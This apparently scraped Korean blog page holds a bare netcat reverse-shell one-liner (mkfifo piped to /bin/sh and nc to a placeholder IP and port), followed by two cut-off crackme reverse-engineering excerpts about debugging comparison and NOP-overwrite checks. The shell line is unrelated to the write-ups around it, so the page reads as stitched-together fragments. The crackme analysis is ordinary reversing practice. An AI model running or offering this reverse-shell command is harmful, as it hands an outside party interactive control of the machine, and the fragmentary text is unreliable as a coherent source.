kaka09
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [IP ADDRESS] [PORT] >/tmp/f
[사진]1-1 프로그램을 실행시키면 조그만한 박스와 함께 그림을 그릴 수 있다. 아무 그림이나 그린 상태에서 Check 버튼을 클릭하면 오른쪽 사진처럼 Wrong 이라는 메세지 박스가 출력된다. 즉, 그림과 그림을 비교하는것 같은데 값을 어떻게 비교하는지, 어떤 값을 넣어야 되는지 살펴보기 위해 디버깅을 시도해보았다. [사진]1-2 해당 사진은 그림 비교시 틀렸을때 분기하는 구문이다. 일단 좀 더 위에 있는 구문을 살펴보기로 하자(비교문을 알기위해) [사진]1-3 반복문 아래 비교하는 구문이 2개 존재한다. 첫째로 DL,BL 을 비교하여 같지 않을시 [사진]1-2 영역으로 분기하고, 둘째로는 EDI와 15F90을 비교한다. 좀 더 정확한 분석을 위해 아이다로 다시 디버깅을 시도해 보았다. [사진]1-4 ..
[사진]4-1 Replace 란 제목의 실행파일이 주어졌다. 실행하면 무언가 입력값을 받을 수 있는데 오직 숫자만 받을 수 있다. 숫자를 입력하고 Check 버튼을 누르면 위 사진처럼 에러가 발생한다. 처음에는 호환성 문제인줄 알고 다른 컴퓨터에서도 실행해봤지만 똑같이 에러가 발생했다.. 먼가 싶어서 인터넷을 찾아보다 그냥 의도된 에러라고 한다.. 즉 일부러 이렇게 만들었다는 이야기인데.. 왜 그런지 알기 위해 디버깅을 시도했다. [사진]4-2 숫자를 입력하고 check를 클릭했을 때 0040466F의 명령을 실행하는데.. 문제는 EAX에 적재되어 있는 값 즉, 60160646 이라는 주소에 NOP를 덮어 쓴다는거다. 60XXXXX으로 시작하는 주소는 당연히 접근할 수 없다. 접근할 수 없는 영역에 값을..